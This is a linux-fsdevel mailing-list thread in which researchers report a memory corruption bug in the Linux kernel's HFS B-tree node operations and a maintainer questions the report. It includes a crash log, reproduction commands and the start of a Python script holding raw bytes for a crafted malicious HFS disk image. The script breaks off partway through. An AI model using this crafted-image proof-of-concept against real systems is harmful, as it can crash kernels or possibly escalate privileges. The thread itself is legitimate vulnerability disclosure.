linux-fsdevel.vger.kernel.org archive mirror
 help / color / mirror / Atom feed
* Bug Report: Memory Corruption Vulnerability in HFS Node Operations
@ 2025-11-17  3:02 mowenroot
  2025-11-17 22:35 ` Viacheslav Dubeyko
  0 siblings, 1 reply; 4+ messages in thread
From: mowenroot @ 2025-11-17  3:02 UTC (permalink / raw)
  To: slava, glaubitz, frank.li; +Cc: linux-fsdevel, linux-kernel, 1985755126

Dear Linux Kernel Maintainers,

We are 0rb1t & mowen, and during our analysis of the HFS module in the Linux Kernel, we discovered a bug related to memory corruption in the node operation logic. We would like to report it as a regular kernel bug for resolution.

Bug Description
-------------------
In the HFS (Hierarchical File System) module of the Linux kernel, we identified an issue with memory corruption within the node operation functions. Specifically, the functions responsible for moving and copying data blocks in HFS B-tree nodes (such as hfs_bnode_move() and hfs_bnode_copy()) lack proper boundary validation when handling node metadata read from disk. This can lead to out-of-bounds memory access when operating on node->page[0], which can result in kernel memory corruption or data corruption.

Steps to Reproduce
------------------------
1. Compile the Linux kernel with HFS filesystem support:
   CONFIG_HFS_FS=y
2. Create a crafted HFS disk image (using a script or any other method).
3. Mount the crafted image using:
   mount -t hfs ./disk2.img ./mnt
4. Perform filesystem operations such as mkdir or touch on the mounted filesystem.

Expected Behavior
---------------------
The kernel should properly handle node metadata without causing memory corruption.

Actual Behavior
-------------------
When performing operations, the kernel experiences a crash due to a NULL pointer dereference or out-of-bounds memory access. This can lead to a kernel panic or other instability.

Kernel Version
-------------------
This issue has been observed in kernel versions from v2.6.12 to the latest version.

Test Log (example of crash)
-------------------------------
[   45.578488] BUG: kernel NULL pointer dereference, address: 0000000000000000
[   45.581387] #PF: supervisor instruction fetch in kernel mode
[   45.581654] #PF: error_code(0x0010) - not-present page
[   45.582149] PGD 0 P4D 0
[   45.582752] Oops: 0010 [#1] PREEMPT SMP NOPTI
[   45.583199] CPU: 0 PID: 77 Comm: main Not tainted 6.6.77 #15
[   45.583469] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.15.0-1 04/01/2014
[   45.583807] RIP: 0010:0x0
[   45.584587] Code: Unable to access opcode bytes at 0xffffffffffffffd6.
[   45.584797] RSP: 0018:ffffc9000013fcf0 EFLAGS: 00000046
[   45.584999] RAX: 0000000000000000 RBX: 0000000000000000 RCX: ffffc9000013fdb8
[   45.585267] RDX: 0000000000000000 RSI: 0000000000000003 RDI: ffffffff82a0e7e8
[   45.585658] RBP: 0000000000000000 R08: ffffc9000013fdb8 R09: ffffc9000013fd50
[   45.585838] R10: 0000000040000000 R11: 0000000000000400 R12: ffffffffffffffe8
[   45.586003] R13: 0000000000000003 R14: 0000000000000000 R15: ffffc9000013fdb8
[   45.586323] FS:  0000000005a493c0(0000) GS:ffff88803e200000(0000) knlGS:0000000000000000
[   45.586585] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[   45.586803] CR2: ffffffffffffffd6 CR3: 0000000002a2e000 CR4: 00000000003006f0
[   45.587138] Call Trace:
[   45.587823]  <TASK>
[   45.588205]  ? __die+0x1f/0x70
[   45.588770]  ? page_fault_oops+0x7d/0x150
[   45.588879]  ? __switch_to_asm+0x3e/0x70
[   45.589090]  ? finish_task_switch.isra.0+0x7d/0x220
[   45.589234]  ? exc_page_fault+0x69/0x150
[   45.589402]  ? asm_exc_page_fault+0x26/0x30
[   45.589573]  __wake_up_common+0x74/0x140
[   45.589850]  __wake_up_common_lock+0x7e/0xd0
[   45.590034]  wake_up_bit+0x7f/0xa0
[   45.590207]  evict+0x18e/0x2b0
[   45.590360]  ? _atomic_dec_and_lock+0x39/0x60
[   45.590537]  __dentry_kill+0xd1/0x170
[   45.590793]  __fput+0x141/0x290
[   45.590979]  task_work_run+0x58/0x90
[   45.591218]  do_exit+0x537/0x6e0
[   45.591380]  ? hrtimer_interrupt+0x125/0x230
[   45.591589]  do_group_exit+0x2c/0x80
[   45.591684]  __x64_sys_exit_group+0x13/0x20
[   45.591839]  do_syscall_64+0x39/0x90
[   45.592030]  entry_SYSCALL_64_after_hwframe+0x78/0xe2
[   45.592324] RIP: 0033:0x44fb31
[   45.592506] Code: Unable to access opcode bytes at 0x44fb07.
[   45.592741] RSP: 002b:00007fff263be0d8 EFLAGS: 00000246 ORIG_RAX: 00000000000000e7
[   45.593185] RAX: ffffffffffffffda RBX: 00000000004d0290 RCX: 000000000044fb31
[   45.593535] RDX: 000000000000003c RSI: 00000000000000e7 RDI: 0000000000000000
[   45.593911] RBP: 0000000000000000 R08: ffffffffffffffb8 R09: 0000000005a4a770
[   45.594094] R10: 000000000000006f R11: 0000000000000246 R12: 00000000004d0290
[   45.594408] R13: 0000000000000000 R14: 00000000004d1160 R15: 00000000004024d0
[   45.594645]  </TASK>
[   45.594788] Modules linked in:
[   45.595257] CR2: 0000000000000000
[   45.595663] ---[ end trace 0000000000000000 ]---
[   45.596024] RIP: 0010:0x0
[   45.596134] Code: Unable to access opcode bytes at 0xffffffffffffffd6.
[   45.596359] RSP: 0018:ffffc9000013fcf0 EFLAGS: 00000046
[   45.596548] RAX: 0000000000000000 RBX: 0000000000000000 RCX: ffffc9000013fdb8
[   45.596732] RDX: 0000000000000000 RSI: 0000000000000003 RDI: ffffffff82a0e7e8
[   45.596889] RBP: 0000000000000000 R08: ffffc9000013fdb8 R09: ffffc9000013fd50
[   45.597299] R10: 0000000040000000 R11: 0000000000000400 R12: ffffffffffffffe8
[   45.597539] R13: 0000000000000003 R14: 0000000000000000 R15: ffffc9000013fdb8
[   45.597805] FS:  0000000005a493c0(0000) GS:ffff88803e200000(0000) knlGS:0000000000000000
[   45.598036] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[   45.598195] CR2: ffffffffffffffd6 CR3: 0000000002a2e000 CR4: 00000000003006f0
[   45.598419] note: main[77] exited with irqs disabled
[   45.598800] note: main[77] exited with preempt_count 2
[   45.599121] Fixing recursive fault but reboot is needed!
[   45.599675] BUG: scheduling while atomic: main/77/0x00000000
[   45.599944] Modules linked in:
[   45.600197] CPU: 0 PID: 77 Comm: main Tainted: G      D            6.6.77 #15
[   45.600810] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.15.0-1 04/01/2014
[   45.601514] Call Trace:
[   45.601699]  <TASK>
[   45.601814]  dump_stack_lvl+0x37/0x50
[   45.601970]  __schedule_bug+0x4d/0x60
[   45.602203]  __schedule+0x5e1/0x6b0
[   45.602307]  ? _printk+0x57/0x80
[   45.602514]  do_task_dead+0x3e/0x40
[   45.602646]  make_task_dead+0x128/0x130
[   45.602840]  rewind_stack_and_make_dead+0x17/0x20
[   45.603078] RIP: 0033:0x44fb31
[   45.603167] Code: Unable to access opcode bytes at 0x44fb07.
[   45.603401] RSP: 002b:00007fff263be0d8 EFLAGS: 00000246 ORIG_RAX: 00000000000000e7
[   45.603616] RAX: ffffffffffffffda RBX: 00000000004d0290 RCX: 000000000044fb31
[   45.603938] RDX: 000000000000003c RSI: 00000000000000e7 RDI: 0000000000000000
[   45.604150] RBP: 0000000000000000 R08: ffffffffffffffb8 R09: 0000000005a4a770
[   45.604334] R10: 000000000000006f R11: 0000000000000246 R12: 00000000004d0290
[   45.604645] R13: 0000000000000000 R14: 00000000004d1160 R15: 00000000004024d0
[   45.604880]  </TASK>
qemu-system-x86_64: terminating on signal 2

Suggested Fix
-------------------
We suggest reviewing and hardening the functions that perform direct operations on node->page[0], including:
- hfs_bnode_move()
- hfs_bnode_copy()
- hfs_bnode_write()
- hfs_bnode_clear()

The fix should involve:
- Validating src, dst, and len against node_size to ensure proper bounds checking.
- Ensuring no cross-page memory access occurs.
- Adding sanity checks for malformed or forged node metadata, such as the record offset and node_size.

Impact
-------------------
This issue can cause kernel memory corruption and Denial of Service (DoS) when interacting with a malformed HFS image. Under specific conditions, it may also lead to potential Local Privilege Escalation (LPE).

Please let us know if you need further information. We look forward to your assistance in resolving this bug.

Best regards,
0rb1t & mowen

^ permalink raw reply	[flat|nested] 4+ messages in thread

* Re:  Bug Report: Memory Corruption Vulnerability in HFS Node Operations
  2025-11-17  3:02 Bug Report: Memory Corruption Vulnerability in HFS Node Operations mowenroot
@ 2025-11-17 22:35 ` Viacheslav Dubeyko
  2025-11-18  5:50   ` mowenroot
  0 siblings, 1 reply; 4+ messages in thread
From: Viacheslav Dubeyko @ 2025-11-17 22:35 UTC (permalink / raw)
  To: glaubitz@physik.fu-berlin.de, mowenroot@163.com,
	slava@dubeyko.com, frank.li@vivo.com
  Cc: linux-fsdevel@vger.kernel.org, linux-kernel@vger.kernel.org,
	1985755126@qq.com

On Mon, 2025-11-17 at 11:02 +0800, mowenroot@163.com wrote:
> Dear Linux Kernel Maintainers,
> 
> We are 0rb1t & mowen, and during our analysis of the HFS module in the Linux Kernel, we discovered a bug related to memory corruption in the node operation logic. We would like to report it as a regular kernel bug for resolution.
> 
> Bug Description
> -------------------
> In the HFS (Hierarchical File System) module of the Linux kernel, we identified an issue with memory corruption within the node operation functions. Specifically, the functions responsible for moving and copying data blocks in HFS B-tree nodes (such as hfs_bnode_move() and hfs_bnode_copy()) lack proper boundary validation when handling node metadata read from disk. This can lead to out-of-bounds memory access when operating on node->page[0], which can result in kernel memory corruption or data corruption.
> 

Thank you for the report.

Are you sure that you have latest version of the kernel? Because, we have the
necessary checks of offset and length (check_and_correct_requested_length()) for
HFS node operations in latest kernel:

void hfs_bnode_copy(struct hfs_bnode *dst_node, int dst,
		struct hfs_bnode *src_node, int src, int len)
{
	struct page *src_page, *dst_page;

	hfs_dbg("dst %u, src %u, len %u\n", dst, src, len);
	if (!len)
		return;

	len = check_and_correct_requested_length(src_node, src, len);
	len = check_and_correct_requested_length(dst_node, dst, len);

	src += src_node->page_offset;
	dst += dst_node->page_offset;
	src_page = src_node->page[0];
	dst_page = dst_node->page[0];

	memcpy_page(dst_page, dst, src_page, src, len);
	set_page_dirty(dst_page);
}

void hfs_bnode_move(struct hfs_bnode *node, int dst, int src, int len)
{
	struct page *page;
	void *ptr;

	hfs_dbg("dst %u, src %u, len %u\n", dst, src, len);
	if (!len)
		return;

	len = check_and_correct_requested_length(node, src, len);
	len = check_and_correct_requested_length(node, dst, len);

	src += node->page_offset;
	dst += node->page_offset;
	page = node->page[0];
	ptr = kmap_local_page(page);
	memmove(ptr + dst, ptr + src, len);
	kunmap_local(ptr);
	set_page_dirty(page);
}


> Steps to Reproduce
> ------------------------
> 1. Compile the Linux kernel with HFS filesystem support:
>    CONFIG_HFS_FS=y

Could you please share the kernel configuration (.config) on your side?

> 2. Create a crafted HFS disk image (using a script or any other method).

Which script or method do you mean?

> 3. Mount the crafted image using:
>    mount -t hfs ./disk2.img ./mnt
> 4. Perform filesystem operations such as mkdir or touch on the mounted filesystem.

Which particular operations have been executed? Could you please share the
precise commands?

> 
> Expected Behavior
> ---------------------
> The kernel should properly handle node metadata without causing memory corruption.
> 
> Actual Behavior
> -------------------
> When performing operations, the kernel experiences a crash due to a NULL pointer dereference or out-of-bounds memory access. This can lead to a kernel panic or other instability.
> 
> Kernel Version
> -------------------
> This issue has been observed in kernel versions from v2.6.12 to the latest version.
> 
> Test Log (example of crash)
> -------------------------------
> [   45.578488] BUG: kernel NULL pointer dereference, address: 0000000000000000
> [   45.581387] #PF: supervisor instruction fetch in kernel mode
> [   45.581654] #PF: error_code(0x0010) - not-present page
> [   45.582149] PGD 0 P4D 0
> [   45.582752] Oops: 0010 [#1] PREEMPT SMP NOPTI
> [   45.583199] CPU: 0 PID: 77 Comm: main Not tainted 6.6.77 #15
> [   45.583469] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.15.0-1 04/01/2014
> [   45.583807] RIP: 0010:0x0
> [   45.584587] Code: Unable to access opcode bytes at 0xffffffffffffffd6.
> [   45.584797] RSP: 0018:ffffc9000013fcf0 EFLAGS: 00000046
> [   45.584999] RAX: 0000000000000000 RBX: 0000000000000000 RCX: ffffc9000013fdb8
> [   45.585267] RDX: 0000000000000000 RSI: 0000000000000003 RDI: ffffffff82a0e7e8
> [   45.585658] RBP: 0000000000000000 R08: ffffc9000013fdb8 R09: ffffc9000013fd50
> [   45.585838] R10: 0000000040000000 R11: 0000000000000400 R12: ffffffffffffffe8
> [   45.586003] R13: 0000000000000003 R14: 0000000000000000 R15: ffffc9000013fdb8
> [   45.586323] FS:  0000000005a493c0(0000) GS:ffff88803e200000(0000) knlGS:0000000000000000
> [   45.586585] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
> [   45.586803] CR2: ffffffffffffffd6 CR3: 0000000002a2e000 CR4: 00000000003006f0
> [   45.587138] Call Trace:
> [   45.587823]  <TASK>
> [   45.588205]  ? __die+0x1f/0x70
> [   45.588770]  ? page_fault_oops+0x7d/0x150
> [   45.588879]  ? __switch_to_asm+0x3e/0x70
> [   45.589090]  ? finish_task_switch.isra.0+0x7d/0x220
> [   45.589234]  ? exc_page_fault+0x69/0x150
> [   45.589402]  ? asm_exc_page_fault+0x26/0x30
> [   45.589573]  __wake_up_common+0x74/0x140
> [   45.589850]  __wake_up_common_lock+0x7e/0xd0
> [   45.590034]  wake_up_bit+0x7f/0xa0
> [   45.590207]  evict+0x18e/0x2b0
> [   45.590360]  ? _atomic_dec_and_lock+0x39/0x60
> [   45.590537]  __dentry_kill+0xd1/0x170
> [   45.590793]  __fput+0x141/0x290
> [   45.590979]  task_work_run+0x58/0x90
> [   45.591218]  do_exit+0x537/0x6e0
> [   45.591380]  ? hrtimer_interrupt+0x125/0x230
> [   45.591589]  do_group_exit+0x2c/0x80
> [   45.591684]  __x64_sys_exit_group+0x13/0x20
> [   45.591839]  do_syscall_64+0x39/0x90
> [   45.592030]  entry_SYSCALL_64_after_hwframe+0x78/0xe2
> [   45.592324] RIP: 0033:0x44fb31
> [   45.592506] Code: Unable to access opcode bytes at 0x44fb07.
> [   45.592741] RSP: 002b:00007fff263be0d8 EFLAGS: 00000246 ORIG_RAX: 00000000000000e7
> [   45.593185] RAX: ffffffffffffffda RBX: 00000000004d0290 RCX: 000000000044fb31
> [   45.593535] RDX: 000000000000003c RSI: 00000000000000e7 RDI: 0000000000000000
> [   45.593911] RBP: 0000000000000000 R08: ffffffffffffffb8 R09: 0000000005a4a770
> [   45.594094] R10: 000000000000006f R11: 0000000000000246 R12: 00000000004d0290
> [   45.594408] R13: 0000000000000000 R14: 00000000004d1160 R15: 00000000004024d0
> [   45.594645]  </TASK>
> [   45.594788] Modules linked in:
> [   45.595257] CR2: 0000000000000000
> [   45.595663] ---[ end trace 0000000000000000 ]---
> [   45.596024] RIP: 0010:0x0
> [   45.596134] Code: Unable to access opcode bytes at 0xffffffffffffffd6.
> [   45.596359] RSP: 0018:ffffc9000013fcf0 EFLAGS: 00000046
> [   45.596548] RAX: 0000000000000000 RBX: 0000000000000000 RCX: ffffc9000013fdb8
> [   45.596732] RDX: 0000000000000000 RSI: 0000000000000003 RDI: ffffffff82a0e7e8
> [   45.596889] RBP: 0000000000000000 R08: ffffc9000013fdb8 R09: ffffc9000013fd50
> [   45.597299] R10: 0000000040000000 R11: 0000000000000400 R12: ffffffffffffffe8
> [   45.597539] R13: 0000000000000003 R14: 0000000000000000 R15: ffffc9000013fdb8
> [   45.597805] FS:  0000000005a493c0(0000) GS:ffff88803e200000(0000) knlGS:0000000000000000
> [   45.598036] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
> [   45.598195] CR2: ffffffffffffffd6 CR3: 0000000002a2e000 CR4: 00000000003006f0
> [   45.598419] note: main[77] exited with irqs disabled
> [   45.598800] note: main[77] exited with preempt_count 2
> [   45.599121] Fixing recursive fault but reboot is needed!
> [   45.599675] BUG: scheduling while atomic: main/77/0x00000000
> [   45.599944] Modules linked in:
> [   45.600197] CPU: 0 PID: 77 Comm: main Tainted: G      D            6.6.77 #15
> [   45.600810] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.15.0-1 04/01/2014
> [   45.601514] Call Trace:
> [   45.601699]  <TASK>
> [   45.601814]  dump_stack_lvl+0x37/0x50
> [   45.601970]  __schedule_bug+0x4d/0x60
> [   45.602203]  __schedule+0x5e1/0x6b0
> [   45.602307]  ? _printk+0x57/0x80
> [   45.602514]  do_task_dead+0x3e/0x40
> [   45.602646]  make_task_dead+0x128/0x130
> [   45.602840]  rewind_stack_and_make_dead+0x17/0x20
> [   45.603078] RIP: 0033:0x44fb31
> [   45.603167] Code: Unable to access opcode bytes at 0x44fb07.
> [   45.603401] RSP: 002b:00007fff263be0d8 EFLAGS: 00000246 ORIG_RAX: 00000000000000e7
> [   45.603616] RAX: ffffffffffffffda RBX: 00000000004d0290 RCX: 000000000044fb31
> [   45.603938] RDX: 000000000000003c RSI: 00000000000000e7 RDI: 0000000000000000
> [   45.604150] RBP: 0000000000000000 R08: ffffffffffffffb8 R09: 0000000005a4a770
> [   45.604334] R10: 000000000000006f R11: 0000000000000246 R12: 00000000004d0290
> [   45.604645] R13: 0000000000000000 R14: 00000000004d1160 R15: 00000000004024d0
> [   45.604880]  </TASK>
> qemu-system-x86_64: terminating on signal 2

I am not completely sure that these call traces correspond to the issue in HFS
kernel driver. Especially, if you mentioned b-tree node's operations.

Thanks,
Slava.

> 
> Suggested Fix
> -------------------
> We suggest reviewing and hardening the functions that perform direct operations on node->page[0], including:
> - hfs_bnode_move()
> - hfs_bnode_copy()
> - hfs_bnode_write()
> - hfs_bnode_clear()
> 
> The fix should involve:
> - Validating src, dst, and len against node_size to ensure proper bounds checking.
> - Ensuring no cross-page memory access occurs.
> - Adding sanity checks for malformed or forged node metadata, such as the record offset and node_size.
> 
> Impact
> -------------------
> This issue can cause kernel memory corruption and Denial of Service (DoS) when interacting with a malformed HFS image. Under specific conditions, it may also lead to potential Local Privilege Escalation (LPE).
> 
> Please let us know if you need further information. We look forward to your assistance in resolving this bug.
> 
> Best regards,
> 0rb1t & mowen

^ permalink raw reply	[flat|nested] 4+ messages in thread

* Re: Bug Report: Memory Corruption Vulnerability in HFS Node Operations
  2025-11-17 22:35 ` Viacheslav Dubeyko
@ 2025-11-18  5:50   ` mowenroot
  2025-11-18 23:31     ` Viacheslav Dubeyko
  0 siblings, 1 reply; 4+ messages in thread
From: mowenroot @ 2025-11-18  5:50 UTC (permalink / raw)
  To: Viacheslav Dubeyko, glaubitz, slava, frank.li, 1985755126
  Cc: linux-fsdevel, linux-kernel

On Tue, 2025-11-18 at 06:35, Viacheslav Dubeyko Slava.Dubeyko@ibm.com wrote:

> Are you sure that you have latest version of the kernel? Because, we have the
>  necessary checks of offset and length (check_and_correct_requested_length()) for
>  HFS node operations in latest kernel:

Thank you for your response and for reviewing our report.

Yes, we verified that our tests were performed on the latest stable kernel release, as well as older
versions for comparison. Although check_and_correct_requested_length() exists, certain malformed
on-disk HFS B-tree node fields can still produce corrected lengths that remain outside valid
boundaries. Specifically, forged record offsets, numRecords, or node->page_offset values may cause
src, dst, and len to pass the correction logic but still result in out-of-range access into node->page[0],
which leads to memory corruption.

> Could you please share the kernel configuration (.config) on your side?

We did not enable any special options during compilation. We only enabled:
 CONFIG_HFS_FS=y
 CONFIG_HFSPLUS_FS=y

We can send the complete configuration as an attachment if needed.

> Which script or method do you mean?

We used a small Python tool to generate a crafted HFS image where several B-tree node heade
fields (fLink, bLink, numRecords, nodeSize, and record offset table entries) are intentionally
manipulated while keeping the volume header valid enough for the filesystem to mount.
The resulting image can still be mounted and used normally. The script is included below.

> Which particular operations have been executed? Could you please share the
>  precise commands?

The minimal sequence that triggers the crash is:

 mkdir /mnt/hfs
 mount -t hfs ./disk2.img /mnt/hfs
 mkdir /mnt/hfs/1

It may not always crash immediately. However, if you debug and place a breakpoint at
memmove(ptr + dst, ptr + src, len) inside fs/hfs/bnode.c, you will observe that 'len' becomes
extremely large, and during the memmove operation an out-of-bounds access has already occurred.

Thank you again for your time and assistance.

Thanks,
 0rb1t & mowen

----- BEGIN PYTHON SCRIPT -----

from struct import pack

default_file_data = {4: b'BD\xe57x\x97\xe57x\x97\x01\x00\x00\x00\x00\x03\x00\x00\xf8=\x00\x00B\x00\x00\x01\x08\x00\x00\x13\x00\x00\x00\x10\xf7\xc1\x08untitled\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x0f\xfc\x00\x00\x0f\xfc\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00cne\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0f\xfc\x00\x00\x00\x00>\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0f\xfc\x00\x00>\x00>\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00', 6: b'\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xf0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00', 38: b'\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x07\x00\x00\x07\xfe\x00\x00\x07\xfd\x00\x00\x00\x0f\xfc\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x00\x00\x00\x00\x00\x00\x00', 39: b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\xf8\x00\xf8\x00x\x00\x0e', 4130: b'\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x03\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x01\x00\x00\x00\x01\x02\x00\x00%\x00\x00\x07\xfe\x00\x00\x07\xfc\x00\x00\x00\x0f\xfc\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xc0\x00\x00\x00\x00\x00\x00\x00', 4131: b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\xf8\x00\xf8\x00x\x00\x0e', 4132: 